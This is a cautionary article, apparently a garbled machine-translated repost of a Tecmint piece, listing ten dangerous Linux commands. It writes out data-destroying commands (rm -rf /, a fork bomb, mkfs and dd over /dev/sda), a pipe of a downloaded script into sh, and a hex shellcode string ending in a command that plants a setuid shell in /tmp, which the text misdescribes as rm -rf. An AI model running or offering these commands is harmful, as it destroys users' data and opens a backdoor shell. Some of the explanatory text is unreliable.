Never run the 10 most dangerous commands in Linux

Source: Internet
Author: User

Linux Command Line compaction is useful, efficient, and interesting, but sometimes dangerous, especially when you are not sure what you are doing. This article is not intended to attract your anger at Linux or Linux Command lines. We just want you to realize that you should think twice before running some commands. Note: Of course, the following commands are usually used under the root permission to make full use of dummies. In normal user identities, only one acre of land is damaged .)

1. rm-rf command 

The rm-rf command is one of the fastest ways to delete folders and their contents. A single bit of misjudgment or ignorance may lead to irreparable system breakdown. The following are some options for the rm command.

·RmCommands are usually used to delete files in Linux.

·Rm-rRecursively delete folders, or even empty folders. In my opinion, this is a mistake. from common sense, it should be "or even a non-empty folder ")

·Rm-fThe command can directly Delete 'read-only files' without asking '. In Linux, deleting a file does not care whether the file is read-only, but does not care whether the parent directory has the write permission. Therefore, the-f parameter only means that you do not need to delete and confirm one by one, but will delete it quietly. In addition, the original rm command is not prompted for deletion, but the general release will add the-I parameter to rm through the alias to request deletion confirmation, -f suppresses this prompt .)

·Rm-rf/: Force delete all objects in the root directory. That is to say, after the deletion is completed, nothing else ...)

·Rm-rf *: Force delete all files in the current directory.

·Rm-rf.: Force Delete the current folder and Its subfolders.

From now on, be careful when you want to execute the rm-rf command. We can the bashrc file creates an rm-I alias for the 'rm' command to prevent the accident when the 'rm' command is used to delete the file. It will require you to confirm each deletion request. Note: Most releases have already done so. If not, please do so and consider what you are doing before using the-f parameter! The translator himself has a tearful lesson .)

2. :() {:|:&};: Command

This isFork bomb. The specific operation is to define a function named ':', which calls itself twice and runs on the background at the front end at one time. It will be executed repeatedly until the system crashes.

 
 
  1. :(){:|:&};: 

Oh? Are you sure you want to try it? Never experiment on the company's official server ~~

3. Command>/dev/sda

The above command will'Command'Output to block Devices/Dev/sda. This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss of the entire block device.

4. mv Folder/dev/null

This command moves a 'Folder 'to/dev/null. In Linux, the/dev/null or null device is a special file. All data written to it will be cleared, and the write operation is successful. Note: This is a black hole. Of course, it should be noted that, by moving folders to a black hole, the salvation of data recovery software cannot be prevented, you need to use dedicated software or techniques-I know you must have something to delete .)

 
 
  1. # mv /home/user/* /dev/null 

The upper-column command moves all contents of the User directory to/dev/null, which means that all things are involved in the black hole (null.

5. wget http: // malicious_source-O-| sh

The preceding command downloads a script from a malicious source and executes it. The Wget command will download this script, whileShWill unconditionally) execute the downloaded script.

Note:You should always pay attention to the source of the downloaded package or script. Only scripts/programs can be downloaded from trusted sources. So, do you really know what you are doing? If this is necessary, I will first wget it, and then I will read what it actually writes, and then consider whether to execute it .)

6. mkfs. ext3/dev/sda

The preceding command will format the block device 'sda'. You certainly know that your block device (Hard drive) Will be formatted,Brand new!Without any data, you can directly bring your system to an irrecoverable stage. Note: devices such as/dev/sda are generally not directly used. Unless used as raw devices, sda must be divided into partitions such as sda1 and sda2 for use. Of course, whether you use sda or sda1, mkfs is devastating for Block devices or partitions, and the above data will be evaporated .)

7.> file

The preceding command is often used to clear the file content. Before executing the command, make sure that the output file is empty or does not exist. Otherwise, the original file cannot be recovered. Even the data recovery software may not be able to help you. In addition, I think what you might really want to use is ">", that is, to refresh the file rather than refresh the file .). If the input is incorrect or the ignorant input is similar to"> Xt. confThe command overwrites the configuration file or any other system configuration file.

8. ^ foo ^ bar

This command is described in Part 3, which is one of the ten least-known Linux commands. It is used to edit commands run earlier without replaying the entire command. However, when you use the foobar command, if you do not thoroughly check the risks of changing the original command, this may cause real trouble. In fact, this kind of trick is considered by the translator to be a useless and harmful "hacker" technique left behind by a few prehistoric times .)

9. dd if =/dev/random of =/dev/sda

The commands listed above are directed to the block device.SdaWrite random spam files to erase data. Of course! Your system may be in a state of chaos and irrecoverability. Do you remember saying that music videos cannot be completely deleted from black holes? So this command is to give you a thorough deletion method! Of course, you can overwrite it multiple times for the sake of insurance .)

10. Hide commands

The following command is actually the first command (Rm-rf). The code here is hidden in hexadecimal notation, and an ignorant user may be fooled. Running the following command on the terminal may erase your root partition.

This command indicates that the real danger is hidden and will not be easily detected. You must always pay attention to what you are doing. Do not compile/run code from unknown sources.

 
 
  1. char esp[] __attribute__ ((section(“.text”))) /* e.s.p 
  2. release */ 
  3. = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ 
  4. “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ 
  5. “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ 
  6. “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ 
  7. “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ 
  8. “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ 
  9. “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ 
  10. “cp -p /bin/sh /tmp/.beyond; chmod 4755 
  11. /tmp/.beyond;”; 

Note:Do not execute any of the above commands on your Linux terminal or Shell in your classmates or school computer. If you want to test them, run them on the VM. The author and Tecmint of this article are not responsible for any discord or data loss. Note: neither the translator nor the reposted website is responsible ~!)

So far today, I will come back soon and bring another article you like. Continue to pay attention to and access Tecmint. If you know anything elseDangerous Linux commandsYou also want to add it to our list. Please leave a comment and leave us with your valuable comments.

Via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.